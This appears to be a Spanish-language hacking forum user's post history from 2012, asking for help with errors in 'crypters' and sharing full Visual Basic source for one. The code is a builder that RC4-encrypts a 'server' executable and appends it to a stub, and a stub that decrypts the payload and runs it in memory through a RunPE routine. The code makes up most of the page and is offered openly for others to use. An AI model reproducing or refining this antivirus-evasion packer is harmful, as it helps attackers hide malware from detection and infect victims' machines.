debe ser el 2.1 porue en ella debe haberse corregido de la version anterior reportados
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Páginas1
#2
Dudas y pedidos generales / Re:error con crypter
Septiembre 20, 2012, 12:30:16 PM
bueno el crypter que hice era de sanko y su video pero no se cual sera el error porque todo para mi vista era igual, pero encontre uno de snox el cual lo estoy viendo gracias snox,, gracias brother por darte un tiempo para responder mi duda gracias
#3
Dudas y pedidos generales / [SOLUCIONADO] Error con crypter
Septiembre 17, 2012, 10:46:51 PM
hola a todos, ejecute varios cripter que hay por red, incluso ripie el de sanko gracias por compartirlo, y en todos me salen estos errores w7 ( No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta ) y en wxp ( No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta ) ya revise en varios foros pero nadie parece que tuvo ese problema, si alguien supiera de que trata el error, gracias por su atencion
saludos , y muchas gracias
saludos , y muchas gracias
#4
Dudas y pedidos generales / Re:error al encriptar un server
Agosto 06, 2012, 11:41:54 PM
ola soy el que publico , pero no se que paso con mando restablecer y sale error de usuario, bueno no importa
bueno yo pienso que aprender es compartir asi que aca dejo todo el codigo
Bueno aca esta el crypter ,tiene rc4 y EOF y md5 para llaves
Código: vb
Espero que les ayude si estan en esto y me ayuden para solucionar mi duda gracias por su atencion saludos
bueno yo pienso que aprender es compartir asi que aca dejo todo el codigo
Bueno aca esta el crypter ,tiene rc4 y EOF y md5 para llaves
Dim md5 As New clsMD5, rc4 As New clsRC4
Private Sub Command1_Click()
With CD
.DialogTitle = "Seleccione el archivo a encryptar"
.Filter = "Aplicaciones EXE|*.exe"
.ShowOpen
End With
If CD.Filename <> vbNullString Then
Text1.Text = CD.Filename
MsgBox "SERVER CARGADO CORRECTAMENTE", vbInformation, Me.Caption
End If
End Sub
Private Sub Command2_Click()
Randomize
Text1.Text = md5.DigestFileToHexStr(Rnd)
End Sub
Private Sub Command3_Click()
With CD
.DialogTitle = "guardar server en"
.Filter = "archivo ejecutable (.exe) | *.exe"
.ShowSave
End With
If CD.Filename <> vbNullString Then
Dim encriptacion As String, eof As String
Dim stub() As Byte, stub2 As String, archivo As String
If Check1.value = 1 Then
eof = ReadEOFData(Text1.Text)
End If
stub = LoadResData(101, "stub")
Open App.Path & "\stub.exe" For Binary As #1
Put #1, , stub
Close #1
Open Text1.Text For Binary As #1
archivo = Space(LOF(1))
Get #1, , archivo
Close #1
If Option1.value = True Then
encriptacion = "RC4"
archivo = rc4.EncryptString(archivo, Text2.Text)
End If
Open App.Path & "\stub.exe" For Binary As #1
stub2 = Space(LOF(1))
Get #1, , stub2
Close #1
Open CD.Filename For Binary As #1
Put #1, , stub2
Put #1, , "[ delimitador]"
Put #1, , Text2.Text
Put #1, , "[ delimitador]"
Put #1, , encriptacion
Put #1, , "[ delimitador]"
Put #1, , archivo
Close #1
If Check1.value = 1 Then
Call WriteEOFData(CD.Filename, eof)
End If
Kill (App.Path & "\stub.exe")
MsgBox "server creado", vbInformation, Me.Caption
End If
End Sub
y este es el stub , esta el runpe el y la clase rc4
Dim rc4 As New clsRC4, yo As String
Dim Key As String, archivo As String
Dim encriptacion As String
Private Sub Form_Load()
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
yo = Space(LOF(1))
Get #1, , yo
Close #1
Key = Split(yo, "[ delimitador]")(1)
encriptacion = Split(yo, "[ delimitador]")(2)
archivo = Split(yo, "[ delimitador]")(3)
If encriptacion = "RC4" Then
archivo = rc4.DecryptString(archivo, Key)
End If
Dim datta() As Byte
datta() = StrConv(archivo, vbFromUnicode)
Call UWRIBQW(App.Path & "\" & App.EXEName & ".exe", datta(), Command)
End
End Sub
Espero que les ayude si estan en esto y me ayuden para solucionar mi duda gracias por su atencion saludos
Páginas1
